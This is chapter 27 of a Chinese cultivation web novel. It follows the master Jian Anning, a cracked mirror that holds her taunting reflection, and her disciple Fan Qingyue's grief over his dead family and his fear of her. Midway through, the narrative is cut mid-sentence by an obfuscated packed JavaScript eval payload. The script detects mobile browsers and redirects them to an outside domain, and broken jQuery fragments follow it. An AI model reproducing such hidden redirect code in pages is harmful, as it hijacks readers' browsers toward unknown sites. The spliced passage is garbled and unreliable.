27. 第二十七章裂痕
作品:《我的徒弟不可能是反派》 简安宁挠挠头,让她的弟子们去将妖兽不会再袭击的消息带给扶余分部的人,她自己留在房间里,从胸前取出了一本线装书和铜镜。
那本书看上去没什么变化,毕竟是天雷也无法损坏的东西,但是那面铜镜就不同了。
本来无暇的镜面不知何时裂开了一道缝隙,那缝隙仿佛从简安宁的脖颈裂至脸颊,镜中人笑得几近猖狂。
“我很快就可以出去了,你困不住我的。”
镜面拦截声音的效果消失了,即使简安宁再不愿意,也只能被迫听镜中人在那里逼逼叨叨。
简安宁双手托腮,思考着封住声音的办法。
在忍受了许久之后,简安宁终于想出了个法子,她抬手结印,就要把这声音彻底封死。
然而,镜中倒影看出了她的意图,轻笑一声,似是带着一点委屈,说道:“你那么不愿意听到我的话吗?”
理智来说,若是在场还有第三个人,就会发现镜中倒影的声音与简安宁其实一般无二,但是简安宁还是犹豫了。
她抿了抿唇,终究还是将那个永久性的法术修改了一点。
镜中人微微勾起了一点嘴角,说道:“你果然还是……”
剩下的声音被简安宁封住,她一点也不想知道倒影会说出什么话来。
她烦躁地看着书与铜镜里一直在对她笑的人,终于还是把这两样东西都贴身收好。
另一头,长街尽头。
樊清越一行人来到之前扶余分部的人说的住所,但是显然,他们只能看到一地的尸体。
院落门外,是人来人往的人群,有好事之徒也看到了院落里凄惨的景象,长吁短叹地说道:“天灾人祸世事难料。”
可是樊清越记得那些伤口,那是樊十六简单而直白的手法。
还有人对愣在原地的三人说道:“也不止是他们,樊家主也死在那浩劫之中了。”
樊清越闻言瞳孔紧缩,他难以置信地说道:“那可是元婴期的存在,怎么会轻易的死了?”
“更何况他还怕死,哪怕是在毁天灭地的劫难里,也该是最晚死的人之一。”
那位路人似乎没想到樊清越对樊观复了解得这么透彻,有些惊讶地看了一眼他,并说道:“你也是锦西城的人吗?”
“你说得的确没错,不过,还是那句话,世事难料,说不定这人就碰到了克星天敌?”
“你没瞧见,那樊府几乎都快被夷为平地?”
樊清越不知道该怎么形容自己的心情,他想过樊观复终有一日会死,却没想到他会死得那么突然。
他有一瞬间的语塞,以及心底不知该如何言说的情绪。
路人并没有过多停留,又匆匆从他身边走开,独留樊清越呆在原地。
他想什么也不想去想,但脑子却不听使唤,不停地给他回放着过去在扶余的岁月。
樊观复有许多孩子,樊清越对其中的大多数都不熟悉,他只熟悉樊徵羽、樊茂两个,而现在他最熟悉的家人已经尽数从这个世界上离开了。
迟来的悲伤席卷了他的心。
“去樊府看看吧,”姜檀看着他的模样提议道,“至少看看到底是怎么回事。”
大抵是因为锦西城的人们被先前樊府爆发出的动静所震慑,所以樊府的废墟附近并不见任何路人。
一行三人走在那废墟之上,共同寻找着樊观复的尸体,不过终是一无所获。
樊清越只找到了樊徵羽和樊茂破损的尸体,将其收敛入葬。
他的神色看上去很沉重,而姜檀也不知道该怎么劝慰他了。
毕竟,魔修杀人又死不见尸,只有一种可能,那就是尸体被当做原材料,拿去炼做法器。
据说,生前的修为越高,其死后的尸骨越能炼制成更高品阶的法器,所以魔修也常有掘坟盗墓的行为。
于是,一行三人便回到客栈中,找简安宁复命。
简安宁琢磨了一通,心道,这样此来扶余的目的也算完成了吧?
而后,便自信地在大长老给的任务玉牌上刻下了完成的印记,随后便对她的弟子们说道:“启程,回青云宗。”
回去的路比来时要顺利很多,至少这一回他们没有在扶余与中州之间的峡谷遇到任何妖兽。
此后的路途便更为顺畅,算下来回去的时间竟比去时要短上许多。
青云宗,宗门大殿里。
简安宁带着她的三个徒弟向发布任务的大长老复命。
大长老的模样似乎有些惊讶,显然他没有想到简安宁一行人会回来得这么快。
他犹豫了一下,还是先确认道:“简长老,你确定处理完扶余的问题了?”
简安宁肯定地点头说道:“那当然。”
大长老当然还记得简安宁之前几次任务的可怕结果,于是便硬着头皮继续问道:“所以扶余分部到底出现了什么问题,你们又是如何解决的?”
简安宁看到她三个弟子目光齐刷刷地放在了她的身上,她忍不住清了清嗓子,郑重其事地对大长老说:“扶余分部的妖兽袭击是因为魔修。”
大长老的神情瞬间严肃了起来。
谁都知道魔修做事不择手段、恶贯满盈,故而,他便继续问道:“你们是如何解决魔修的?”
简安宁当场卡住。
说起来她好像并没有彻底解决魔修。
“那两个魔修反正是跑了,但我确实无法确定,他们会不会重返扶余。”
简安宁认为还是不会的,扶余最有价值的东西莫过于樊家的传承,如今传承被樊清越直接带走,魔修要想来拿,怎么着也得是往青云宗奔才是。
大长老:“……”
行吧,他就知道会这样。
而后他抬手写下了数个符文,着手重新招募前往扶余分部看守矿脉的人选,而这一次的要求,就要比之前更加严格。
不过,这与简安宁就没什么关系了,她也不想管这些,她还有更重要的事要做。
简安宁带着徒弟们回到了玉玄峰,目光便直接看向了一直躲闪着她的樊清越身上。
“清越,”她带着一点痛心疾首地看着她从前最贴心的大弟子,说道:“你这是什么情况?”
樊清越觉得,莫名其妙的传承记忆还是影响到他了。
每一次打坐调息的时候,他的脑海里总是会重映他在传承记忆里的画面,他总是会看到,那个和师尊长得一模一样的人,举起那把巨大的镰刀,砍向他。
他总是会感受到那深入骨髓的恐惧。
也正是因为那份恐惧,让樊清越甚至不敢再去直视简安宁的双眼。
这样的后果确实在简安宁的意料
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991401|176949||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之外,她先前的“紧急治疗”显然治标不治本。
她倒是也想将灵力探入樊清越的灵台查看情况,但是樊清越对她灵力的排斥程度比陆绯高许多。
只怕一个不小心,她这大徒弟就要变傻子。
简安宁颇为头疼地揉了揉额角,忍不住将心声直接说出:“旧时代的亡魂,就不能好好死在那里吗?”
“什么?”樊清越略显疑惑地问了一声,他还以为是自己幻听了。
“没什么。”简安宁果断将这话糊弄了过去。
就听樊清越深吸了一口气,将这段时间烦恼的事情竭尽全力地和盘托出。
“师尊,我总是会将你和在传承中看到的那个人搞混。”
简安宁一愣,显然如果樊清越深受那些记忆影响的话,要将这些话说出来可是万分不易。
“传承的情绪侵染着我的情绪,所以越来越克制不住那份恐惧。”樊清越的神色甚至露出了几分痛苦,抱着头直接就地蹲了下去。
而简安宁朝着他走了过去,轻轻抬起了他的脸,冲着他微微笑道:“那不是我。”
“我是简安宁。”
樊清越的话语能够感觉到,师尊的话语有某种极为微妙的安抚人心的作用,某种意义上来说比之前的“治疗”还要管用。
那几乎想要附身于他的樊家先祖,好像也被师尊说服,渐渐散去了心绪。
樊清越感到自己心头轻松了许多。
简安宁说罢,大手一挥,对她的徒弟们一并说道:“跋山涉水那么久,也该回去休息了。”
樊清越等三人因此各自返回洞府去。
其中陆绯沉默极了,一直不曾言语,只是自顾自地回到自己的居所,一刻不停地开始修炼。
而樊清越想要回去的动作,却被姜檀给拦住了。
“师兄,我有些事情,想求你解惑。”
樊清越只觉得现在自己的心情实在畅快,更何况是一向高冷的师妹寻求帮助,故而便十分爽快地说道:“你问!”
“你在传承记忆里看到的那个人,真的与师尊长得一模一样吗?”
“什么是旧时代的亡魂?”
“或许你可能没注意到,师尊她可以用我的长弓。”
短短三句话把樊清越刚卸下去的石头又压了回去,他苦着一张脸,对姜檀说道:“我只能告诉你第一个问题的答案为是,其他的我也不知道。”
姜檀的眉心蹙起,举起她的长弓,又道:“我的长弓是姜家世代相传的宝物,从未听说过有除姜家血脉之外的人可以使用。”
“你说你在传承记忆里看到了师尊,”姜檀寻思了一会儿,又说道:“那份记忆里的师尊,比之师尊平常不对劲的时候,又如何?”
樊清越一直被先祖的思绪侵扰,倒是完全没有想过这一层。
他仔细地回想着,复而甚而又甚地说道:“仍有不同。”
“但我说不上来那不同在哪里。”
姜檀询问无果也只得作罢,于是她便转而又问起另一件事。
“我在家中时曾阅览古籍,金之本源的传承在天为本源之力,在地为太乙精金这一天材地宝,那宝物若在你的手里,你自可以它来打造本命法宝。”
然而,姜檀说完,便只收获了樊清越一脸懵逼的神情,道:“什么太乙精金?”